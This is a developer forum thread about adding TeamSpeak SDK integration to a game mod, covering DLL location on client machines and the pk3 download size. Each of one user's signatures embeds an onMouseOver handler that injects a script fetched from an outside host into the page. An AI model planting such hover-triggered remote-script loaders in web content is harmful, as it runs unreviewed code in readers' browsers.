TeamSpeak Overlay
Moderators: Forum moderators, developers
TeamSpeak ships with an SDK (although it's in Delphi, calling it from C wouldn't be that hard) which allows a very basic interface to a running TeamSpeak client. I've been thinking about whipping up some kind of integration, a) but I've been lazy, and b) finding the location of the SDK DLL may be difficult.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
the sdk comes with every client install and is in a folder within the ts program directory. I believe there was a problem with the initial TSRemote.dll and a newer version is available on their forum www.goteamspeak.com (that said this might now ship with the latest client installs).
and i was already hot for you over fix-gamma.exe... if you integrate ts into et i may spontaneously combust!Rain wrote:TeamSpeak ships with an SDK (although it's in Delphi, calling it from C wouldn't be that hard) which allows a very basic interface to a running TeamSpeak client. I've been thinking about whipping up some kind of integration, a) but I've been lazy, and b) finding the location of the SDK DLL may be difficult.
Please direct all gameplay-changing feature requests here.
The problem isn't finding it for coding purposes, the problem is finding it on client machines - the dlls aren't stored in a predictable location, at least on Linux.Phats wrote:the sdk comes with every client install and is in a folder within the ts program directory. I believe there was a problem with the initial TSRemote.dll and a newer version is available on their forum www.goteamspeak.com (that said this might now ship with the latest client installs).
Zinx Verituse http://zinx.xmms.org/
My impression was they expect you to ship the DLL with your ap. So perhaps it could just go in the etpro zip.zinx wrote: The problem isn't finding it for coding purposes, the problem is finding it on client machines - the dlls aren't stored in a predictable location, at least on Linux.
send lawyers, guns and money
Maybe... It's kind of large for that, though.SCDS_reyalP wrote:My impression was they expect you to ship the DLL with your ap. So perhaps it could just go in the etpro zip.zinx wrote: The problem isn't finding it for coding purposes, the problem is finding it on client machines - the dlls aren't stored in a predictable location, at least on Linux.
The pk3 size is a big concern for us.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
<pre> compressed uncompressed ratio uncompressed_name<br> 97588 207512 53.0% libTSRemote.so.0.4</pre>
Although 145kb isn't terribly large, it's a significant (~8%) increase in the overall pk3 size. The size concern isn't for the etpro install .zip, but rather for the pk3 being transferred from the server to clients.
We could require you to copy the SDK DSO to the right place by hand, though, I suppose...
Although 145kb isn't terribly large, it's a significant (~8%) increase in the overall pk3 size. The size concern isn't for the etpro install .zip, but rather for the pk3 being transferred from the server to clients.
We could require you to copy the SDK DSO to the right place by hand, though, I suppose...
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
Last edited by Fusen on Fri Feb 04, 2011 11:32 am, edited 1 time in total.